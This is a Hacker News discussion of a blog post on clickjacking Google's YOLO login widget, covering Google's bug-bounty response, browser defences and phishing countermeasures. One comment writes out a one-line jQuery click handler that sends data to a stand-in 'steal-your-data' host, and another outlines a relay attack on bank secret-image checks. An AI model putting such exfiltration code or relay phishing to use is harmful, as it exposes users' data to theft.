
Google YOLO clickjacking - bobross
https://blog.innerht.ml/google-yolo/
======
mirimir
Google cache:
[https://webcache.googleusercontent.com/search?q=cache:kv9fSs...](https://webcache.googleusercontent.com/search?q=cache:kv9fSsl32yEJ:https://blog.innerht.ml/google-
yolo/+&cd=1&hl=en&ct=clnk&gl=ae&client=firefox-b)

> Exploiting Clickjacking on Google YOLO allows visitors' name, profile
> picture and email address to be leaked. That's right, I can even know your
> email address. :). Click here if you want to see behind the sense (make sure
> you have logged in Google with a modern browser, PC preferably).

Google's reply to a VRP submission:

> Thanks for your bug report and research to keep our users secure! We've
> investigated your submission and made the decision not to track it as a
> security bug.

> The login widget has to be frameable for it to work. I'm not sure how we
> could fix this to prevent this problem, but thanks for the report!

That's why we don't trust login widgets, right?

~~~
vvanders
Damn, the amount of user trust they just burned by closing that with "as
designed, won't fix" is staggering.

~~~
laurent123456
Yet they silently blocked his website from using this API thus acknowledging
it's actually an issue.

~~~
jacquesm
Shoot the messenger. SOP.

Maybe someone should tip off Google project Zero about this? Let's see if they
mean it that they will hold themselves to the same standard.

~~~
pred_
Looks like they took it down for everyone [0]; maybe not the most elegant
approach but at least it seems they're taking it more serious now.

[0]: [https://stackoverflow.com/questions/50289065/google-yolo-
sto...](https://stackoverflow.com/questions/50289065/google-yolo-stop-working-
the-client-origin-is-not-permitted-to-use-this-api)

~~~
jacquesm
It would be very interesting to see a split second exact timeline on this.

~~~
pred_
Indeed. A Google engineer stated on Twitter [0] that the shutdown of the
service happened because apparently YOLO is only supposed to be accessible to
whitelisted partners.

[0]:
[https://twitter.com/sirdarckcat/status/994867632355577862](https://twitter.com/sirdarckcat/status/994867632355577862)

~~~
jacquesm
So, whitelisted partners get the ability to rip your data?

I'm sure that will go down just fine. FB just got into a lot of trouble over
something like that (arguably a lot more serious, but still).

~~~
pred_
They also state in the same Twitter thread that they were aware of the issue
before the blog post was written. IANAL but even if the shutdown was
intentional (as opposed to being the example of terrible damage control it
looks like), willfully leaving a bug in production that allows a set of
whitelisted partners to deanonymize their visitors without their consent seems
like something that shouldn't fly in countries with data protection laws?

~~~
jacquesm
I just received a message back on Twitter saying that the whitelist wasn't the
fix and they are still making more changes.

This is seriously denting my continued belief in Google's security chops. I
know they have some of the finest security researchers on the planet but this
was handled in a ham-fisted and ineffective way so far.

And best of all: without 'partner' status you won't be able to check if has
been fixed.

~~~
pathseeker
>This is seriously denting my continued belief in Google's security chops. I
know they have some of the finest security researchers on the planet but this
was handled in a ham-fisted and ineffective way so far.

This is a great demonstration how a company can have all of the right talent
but still manage to become incompetent through poor organizational policies.

~~~
sharcerer
Lets hope it doesn't happen again.

------
etxm
> Remember the cookie consent button you clicked at the very beginning? That's
> right, it was a Clickjacking attempt :)

Brutal. I have gone 100% autopilot to “cookie consent buttons”. I’m curious
how many people are. That’s a very clever place to click jack.

~~~
a_imho
Why would you _ever_ click one of those buttons?

~~~
jowsie
Not clicking it doesn't stop them from using cookies/tracking you. The box is
simply to inform you that they ARE doing it, whether you like it or not.

~~~
a_imho
How is that consent?

~~~
vntok
Once you are informed you can leave the site if you want to.

~~~
a_imho
Except for cookies are already transmitted to the client device in far too
many cases before the disclaimer is displayed. Also I'm not sure blanket
agreeing to all (tracking)cookies will be in accordance with GDPR.

------
jasode
To generalize, it's not easy to judge what pixels on a browser's rendered
webpage are trustworthy and legitimate.

For example, every time I see a _" Are you sure you want to leave this
page?"_[1], I hesitate for a moment and wonder if that dialog box is being
spoofed. That dialog shows up for many scammy websites but also legitimate
ones too. Yes, one could try to learn which dialogs can't be spoofed[2] but
there's always paranoia because you can't keep up-to-date with all unknown
future exploits.

Chrome makes that dialog box scarier because it is _modal_ and you can't click
_outside_ of the box on the browser's tab [x] to close the window. (You also
can't use the keyboard Ctrl+F4 to close it either.) In contrast, Firefox let's
you avoid clicking the dialog box by letting you click on the tab's [x] or
press Ctrl+F4.

It's easy to replicate these differences in behavior on website
regex101.com.[3] Type a few characters there and then try to navigate away
from the page. Chrome forces you to interact with the dialog box but Firefox
lets you click [x] on the browser tab.

It's nearly impossible for any combination of CSS and Javascript to "escape"
the browser window and hijack the [x] button on the browser's tab so it feels
"safer" just to click there.

[1]
[https://www.google.com/search?q=google+chrome+%22are+you+sur...](https://www.google.com/search?q=google+chrome+%22are+you+sure+you+want+to+leave%22&source=lnms&tbm=isch)

[2] [https://superuser.com/questions/639084/malicious-confirm-
nav...](https://superuser.com/questions/639084/malicious-confirm-navigation-
dialogs)

[3] [https://regex101.com/](https://regex101.com/)

~~~
amelius
Perhaps there should be a symbol for "trustworthy", that you can't render on a
browser. (The browser would detect it and censor it, e.g. by blackening it
out). But the browser itself can use it, e.g. in dialog boxes.

~~~
jasode
_> Perhaps there should be a symbol for "trustworthy", that you can't render
on a browser. _

To expand on this, the web browsers are missing:

1) trusted pixels: Some bank websites implement this idea when you try to sign
in. When you enter your id, you are shown a special secret image that you
chose when you created the account. If that image isn't there, you should not
trust the password field presented. Therefore, any criminal who wants to
present a fake bank login screen also has to know the secret image as well.
E.g. Chrome could use this technique to show the secret image with dialog
boxes truly triggered by Chrome itself instead of painted by malicious HTML.

2) a trusted keyboard sequence that is well-known and standard : Windows
operating system had this with Ctrl+Alt+Del. Instead of trusting any login
screen, you just press Ctrl+Alt+Del because no user-mode program can hijack
that special key sequence. Intercepting it requires a kernel patch or a
registry hack. A similar idea could be used in browsers to toggle a special
keyboard mode that disables all javascript keyboard events. This mode may be
useful for password fields or as a special key sequence to "unstack" hidden
buttons, etc.

~~~
JumpCrisscross
> _any criminal who wants to present a fake bank login screen also has to know
> the secret image as well_

This mechanism is theatre:

1\. User enters ID into fake bank website.

2\. Fake bank website enters said ID into real bank website.

3\. Real bank website shows fake bank website your "secret" image.

4\. Fake bank website shows you your "secret image".

~~~
jasode
_> 3\. Real bank website shows fake bank website your "secret" image._

I had left out some implementation details for brevity. Any first time use of
a "new" computer to access the online account requires verification from the
bank. (E.g. random code is emailed.) At that point, a bank cookie is set. The
bank doesn't show the secret image unless the computer already has a cookie
from a previous verification.

A fake webpage that tries to forward credentials to a "robo" browser on a
computer in Russia wouldn't have that cookie so they'd never be able to see
the secret image.

There are probably other security checks the banks do such as ip blacklists
etc.

The secret image isn't foolproof but it's an extra signal to signify trust.
Likewise, 2-factor authentication with mobile phones isn't foolproof either
and can also be hacked.

~~~
polyomino
What if they open the bank website in a hidden iframe on the malicious site?

~~~
majewsky
X-Frame-Options: DENY

------
woliveirajr
> Shortly after thie article was published, Google silently prevented my
> domain from using the API: > The client origin is not permitted to use this
> API. > Welp.

So some buttons stoped working, and now you have to believe that everything
was as the blog said. Well, it was.

And a "mitigation" from google being just avoiding the access to the API just
makes things more interesting.

~~~
ComodoHacker
API ban was probably automatic due to HN effect.

~~~
bobross
Actually Google temporarily shuts down the service as I've tried changing API
keys/domains but received the same error

~~~
Twisell
A lot of Google employees are reading HN and actively posting so no surprise.
Did they at least contacted you to properly open a ticket now that they
implicitely recognized the vulnerability? Otherwise very very dickish move as
it solve nothing and you basically worked for free...

~~~
bobross
Nothing

~~~
Twisell
And now if anybody from HN team is listnening. Can you explain why this thread
is fastly slipping from the front page?

Currently it’s being devanced by articles that are olders, with less upvote
and fewer comments. Can you guarantee that nobody is able manipulate ranking?
It’s only a hunch, but it’s not the first time that I notice that google
related "bad buzz" move away from main page slightly faster than other...

PS: I’ll gladly accept downvotes. But answers on why I’m wrong or paranoid
would have been better

~~~
jacquesm
There appear to be quite a few flags on the article pushing it down. The ratio
of upvotes to age compared to the rest of the front page is a strong indicator
of this.

Also: lots of HN'ers work at google. It would be a nice rule if people were
told to abstain from using their flagging privileges when the company they
work at is the subject of a thread.

~~~
Twisell
Thanks a lot for investigating. Otherwise I could’nt have excluded that it was
only me being paranoid about that.

~~~
jacquesm
It looks like the situation has mostly corrected itself by now.

------
danShumway
This is a really well written article.

I recall a video talking explicitly about this problem - it was something
about using the browser paint API in conjunction with iframes for security?
The gist was a browser should be able to tell in real time if an iframe is
visible and should be able to block user input depending on whether or not the
site was hiding the iframe, putting something on top of it, pushing it off
screen, moving it around, etc...

But I can't remember the source. If I can find it, I'll add it in an edit. And
of course if anyone else knows the talk I'm thinking of, please link.

~~~
FiveDegrees
Is it Dan Kaminsky's DefCon 23 talk?

[https://m.youtube.com/watch?v=9wx2TnaRSGs](https://m.youtube.com/watch?v=9wx2TnaRSGs)

[https://dankaminsky.com/2015/08/09/defcon-23-lets-end-
clickj...](https://dankaminsky.com/2015/08/09/defcon-23-lets-end-
clickjacking/)

~~~
danShumway
Yes it is. My goodness, this is one of the best things about HN.

------
sitkack
> This report will unfortunately not be accepted for our VRP. Only first
> reports of technical security vulnerabilities that substantially affect the
> confidentiality or integrity of our users' data are in scope, and we feel
> the issue you mentioned does not meet that bar :(

Do the right thing Google.

~~~
Twisell
Or maybe that simply mean this is not the FIRST REPORT of that technical
security vulnerability that substantially affect the confidentiality or theirs
user’s data.

Which is in a way even worse :(

------
dannyw
To fix this, there could be a new `X-Frame-Options`: `compose-over`. The
browser rendering context will compose the frame separately, and always place
it on the top of the rendering context, above every other element; regardless
of the host page element's z-index, opacity, whatever.

It's kind of like how an app cannot draw over system UI; like the permissions
dialog.

I'm surprised this is not how X-Frame-Options worked in the first place.

~~~
simias
Or maybe logging in ought to be handled directly by the browser in a way that
couldn't be highjacked or phished easily. Do we really need a million
different implementations of a login form?

~~~
Natanael_L
UAF/U2F, which conveniently is part of the new webauthn standard that just got
released in the latest Firefox update

------
foepys
I'm looking forward to Google giving out a $100 reward or even nothing to the
researcher.

Like they did to the guy who found the sitemap ranking bug in Google Search
where he was able to let others pay for a first page ranking. He only got
$1,337 and it took Google 6 months to fix it.

~~~
um_ya
There should be another website where people bid on the bug. If Google cares
enough about it, they'll out bid the people that want to exploit it.

~~~
jtbayly
Lol. A market for vulnerabilities? Pretty sure these exist already. ;)

------
deathanatos
> _Now, I 'm presenting you another button. It doesn't have much to say except
> "harmless", and I challenge you to click it._

In an article like this I can't help but think that the "[ ] Behind the scene"
button is the real bait.

------
weiming
The irony here is that the ridiculous "agree to cookies" requirement makes the
users ever so slightly less safe. (Thanks, regulators.)

~~~
epanchin
All those reminders do is remind me how stupid the regulators are.

I use this to close them;
[https://news.ycombinator.com/item?id=16575304](https://news.ycombinator.com/item?id=16575304)

~~~
hansen
They might be stupid but almost every website is even more stupid. Almost none
offers a way out of spying.

------
c0nducktr
FWIW, setting privacy.firstparty.isolate to 'true' in Firefox prevents this
from working.

~~~
ehsankia
I believe site isolation in Chrome also does this

[https://www.chromium.org/Home/chromium-security/site-
isolati...](https://www.chromium.org/Home/chromium-security/site-isolation)

~~~
Ajedi32
I don't think so. Chrome's site isolation just isolates different origins in
different browser processes, whereas Firefox's first party isolation is
intended to isolate _cookies_.

------
Groxx
Interesting discovery: The facebook-like clickjacking doesn't work on Firefox
when I have Facebook in its own tab-container (even though I'm logged in, just
in that container, not the one I clicked on).

I'm not sure what the minimal repro is here, but if it's the containerization
working as intended, that'd be _awesome_.

~~~
sp332
This is the intended effect! And if you use the dedicated Facebook Container
it's even stronger. The Like button will be blocked entirely, so even Facebook
won't receive the "Like" action. [https://addons.mozilla.org/en-
US/firefox/addon/facebook-cont...](https://addons.mozilla.org/en-
US/firefox/addon/facebook-container/)

------
_nalply
I've learnt my lesson.

In future I will dismiss cookie consent buttons by deleting it's DOM node from
the inspector.

~~~
_nalply
Addendum: Google logged me out of some services and I had to re-login with
2FA. It seems that Google is doing something about this, but what exactly?

~~~
EADGBE
Sounds like an "oh shit" "self-destruct" button just to cover their asses
while they figure it out.

~~~
_nalply
Nope I think it's more some AI stuff who has triggered.

------
woliveirajr
> As for the reason this was closed as working as intended, it was just done
> accidentally, we had already an internal bug tracking clickjacking in YOLO.
> Sorry for the confusion!

[https://twitter.com/sirdarckcat/status/994868604695916544](https://twitter.com/sirdarckcat/status/994868604695916544)

Somehow this was known, the blog (innerht.ml) gained some traction and then
action was taken. Seems that some miscommunication occured inside Google and
this problem atracted much more attention than it was necessary.

------
kerng
According to an update on the OP post Google apparently now silently blocked
the OP webpage, so the exploit doesn't work in this case - but will still work
for any other malicious page. Not cool Google.

------
test2555
For me Google one Tap stopped working on all my sites that previously worked.
I added API HTTP refer to restriction in console.developer.com, but I still
get a warning message "The client origin is not permitted to use this API."
any thoughts? If you go to the page
[https://www.wego.com/](https://www.wego.com/) you can see that Google one tap
still works...

~~~
pred_
On Twitter [0] they're claiming that it wasn't disabled, and that it working
only on a set list of hosts is intended behavior.

[0]:
[https://twitter.com/sirdarckcat/status/994867137704587264](https://twitter.com/sirdarckcat/status/994867137704587264)

------
tannhaeuser
If even Google can't get basic clickjacking protection right, I really see no
hope for the Web as it is. Is there a FF plugin to block _all forms_ of non-
first-party content (including but not limited to iframes) and also to switch
off "dubious" use of CSS?

~~~
hyperdunc
Look into uMatrix - it's a damn good plugin for this purpose. But you might
need to find something else to control CSS loading.

------
yborg
NoScript Classic has/had clickjacking mitigation. I don't know if the updated
version post-Quantum was able to retain this.

------
baalimago
Is there any particular reason why js wouldn't be used to emulate the same
effect? I'm thinking that the onclick() method calling several things instead
of just whatever the button is intended to do.

Please do ignore if i completely misunderstand the discovery, but i don't
really see the need to make a html+css button to make any of this execute.

~~~
varenc
The same origin policy prevents JS from triggering clicks on elements in
iframes that have different origins! The web would be a very insecure place
without that... =)

~~~
baalimago
Ah, I see. Very good point, thank you!

------
xz0r
I too reported a similar issue very recently to VRP and got the exact same
response, except in the end there was a line

"If you think we've misunderstood or can provide a convincing attack vector,
please do let us know!"

I think OP did not post this line in the blog; which makes Google look like
they don't at all care.

~~~
bobross
No, it was the full email. Besides, I've tried to suggest a fix by prompting
first time users but it's been ignored for a week.

------
dvh
Just a thought, why not add play button to iframes as well, just like for
videos that prevents auto play

~~~
bobross
You could still convince users to do a double click, no?

~~~
Spare_account
Honestly a decent sized chunk of users that I support double click most things
anyway.

A large chunk of the user base doesn't know the functional difference between
icons, hyperlinks and buttons.

~~~
Piskvorrr
Given that a large chunk of the web _creator_ base seem to use these
interchangeably nowadays, the confusion is unsurprising.

~~~
laken
Unfortunately that is true, and it's really bad for accessibility too (using
links as buttons, but not coding the keyboard events that are used on buttons,
for example.

------
birdman3131
Conveniently I had ignored the cookies button because it was not impacting the
article text.

~~~
jaggederest
I saw it, immediately thought "this is clearly part of the demo", and clicked
it, because I was certain it was going to be fun. Woe betide me and my poor
risk valuation skills - but not today.

------
jfktrey
I use clickjacking as a “feature” on a website I operate,
[http://vlograd.io](http://vlograd.io)

I had no choice, at least on mobile.

On mobile browsers, audio contexts start out as muted. They can only be
unmuted by an event originating from user interaction.

I use a web player embedded in an iframe on my site. It has an API to
communicate with it to do things like playing and pausing the current track.
However, this also means the audio context is in a cross-domain iframe, and my
only way to trigger the play() method is via the asynchronous postMessage API
it exposes. So, in order to unlock the audio context, I present mobile users
with a “tap to start” screen. In reality, I’ve positioned and zoomed in on the
iframe such that the play button is covering the entire screen for any
reasonable screen size. Thus, when the user taps to start, the audio context
is unlocked (since the “tap” event on the play button in the iframe fires),
and I immediately send a “pause” command via the player’s API. Now, the audio
context is unmuted and I’m free to send the “play” command for any track to
start playing music.

------
tomglynch
Anyone else too trusting in clicking the buttons? Brilliant idea to
demonstrate the issue with a like to his own blog post!

------
rhacker
The "behind the scene" checkbox was one of the coolest depictions for a web
page describing click-jacking.

------
dandare
Quite common misunderstand about Clickjacking is the idea that a 3rd party
content embedded in an iframe can hijack clicks from the parent (yours)
website. While embedding an untrusted iframe in your website is not a god
idea, the Clickjacking attack goes the other way around.

~~~
politician
Why aren't events masked by the last several frames generated by the rendering
system?

If a page is divided into two columns with the left half originating from the
source origin and the right half from a delegated origin, why should the
source origin observe interaction events from the right half, or vice versa?

We should be able to press a hotkey and immediately see at-a-glance who is
operating what.

------
daveFNbuck
This is why I use Firefox Containers.

------
politician
I'd like to see the browser vendors move to allow the source page to carve out
and delegate rendering a single region of pixels per child frame -- preventing
other frames, including the source page, rendering into that region or
receiving events originating in that region. Finally, child frames should not
be allowed to sub-partition their allocation -- there's no defensible need for
this except clickjacking.

This would neatly solve this problem with the low cost of making folks who
want to implement modal popovers have to do some proper scene management in
their pages.

It should always be possible for the end-user to view a colored overlay of
their screen and see exactly which origins are operating which regions of the
screen.

~~~
Anagmate
> to allow the source page to carve out

How would that help? If I have malicious site, I just wouldn't use that
feature.

------
baybal2
I do know that google adsense audit bot specifically checks for their banners
being obscured

------
seba_dos1
Looks sketchy ;)
[https://screenshots.firefox.com/CMTh8ctHJ7wan5lk/blog.innerh...](https://screenshots.firefox.com/CMTh8ctHJ7wan5lk/blog.innerht.ml)

~~~
miduil
With uMatrix the iframes come out nicely too. I was never happy about noscript
usability, so I didn't use any additional script blocking, until I figured out
how easy to use uMatrix is.

[https://screenshots.firefox.com/bTWQWgBxLpRwr7lC/blog.innerh...](https://screenshots.firefox.com/bTWQWgBxLpRwr7lC/blog.innerht.ml)

------
pmoriarty
Am I safe from this exploit if I disable Javascript?

~~~
zenexer
You may be protected from the specific examples provided in the blog post,
but, on the whole, you will not be protected. Most of the underlying
vulnerabilities here can be exploited with simple HTML and CSS.

~~~
yorwba
Content blockers can also prevent embedded iframes from loading. The article
looks like this for me using uMatrix in Firefox:
[https://i.imgur.com/pYFXRR3.png](https://i.imgur.com/pYFXRR3.png)

Clicking the link opens the iframe in a new tab, so it's hard to click it
again without noticing what's going on.

------
hmate9
Facebook attempts to prevent “likejacking” by sometimes asking the user to
verify they intended to really like that page. If they see that most people do
not confirm this then they ban your like button/page.

So taking facebook’s example this can be “prevented” through some random
verification.

------
unilynx
IE6 and below used to have a bug that caused <select> tags to appear above all
other elements (unless covered by an <iframe>)

Looks like <iframe>s for things like login widgets and like buttons should get
the ability to appear above all other content by setting a specific header.

------
ljk
does use different browser "profiles" while never signing into other sites
help with this?

~~~
dgoldstein0
Yes, if you aren't signed in to other accounts most of these click jacking
scenarios would need to convince you to sign in which would be pretty obvious.

------
shamas
I'm perhaps not understanding the significance of this. Is the issue that if
you go to a shitty scam site and start clicking things you might have issues??
I don't see how that's an issue to be solved by a browser.

Leaking your image and email is a huge issue though.

------
test2555
So now none can use this service, because I am getting a warning message "The
client origin is not permitted to use this API." even though I added API
restrictions...

------
samirm
>There's no reliable way to prevent Clickjacking

just turn off js >_>

~~~
bobross
Clickjacking works without JavaScript assuming the targeted site works without
JavaScript. HTML and CSS suffice.

~~~
samirm
I want to believe you, but the only example I found doesn't work.

------
antibland
For dismissing questionable stuff in the browser which I’d rather not click, I
prefer doing it from within dev tools, using a pinch of CSS.

------
GCU-Empiricist
Remember "Don't be evil"? Security bug, won't fix block the demo to decrease
awareness of security hole, that's evil.

------
emilfihlman
What does the ??? button do?

~~~
ealhad
Nothing. Here's its code:

    
    
      <span class="fake-button" style="padding: 0px 6px;">???</span>

~~~
Raphmedia
That mean nothing. You could still do:

<script>$('.fake-button').on('click', function(){$.ajax({url:
'[http://www.steal-your-data.fake'})})</script>](http://www.steal-your-
data.fake'}\)}\)</script>)

~~~
ealhad
The inspector displays the listeners of the elements.

------
amelius
Why doesn't the browser simply disable cookies for the iframe?

~~~
varenc
That would break lots of things that rely on this...

------
xyproto
Are elinks users safe?

~~~
shakna
elinks aren't safe, full stop.

A failure to verify SSL certificates has plagued elinks since 2012 [0]. Some
versions protect, but the bug returns.

[0] [https://bugs.debian.org/cgi-
bin/bugreport.cgi?bug=694658](https://bugs.debian.org/cgi-
bin/bugreport.cgi?bug=694658)

~~~
jwilk
404 Footnote Not Found

~~~
shakna
... Thanks. Apologies, I'm having arguments with my assisted keyboard.

------
textmode
[deleted]

~~~
jswrenn
Of all the content in this article, "modern browser" is what you latch on to?
This author isn't shaming you for your choice of browser, or telling you what
you should be using for day-to-day browser.

"Modern browser" means a browser that keeps up with modern web standards. Yes,
w3m (for instance) still receives updates, but (going by the changelog) those
updates refine how the browser handles very old web standards rather than
extends support to new ones.

------
contentder
Thanks for sharing!

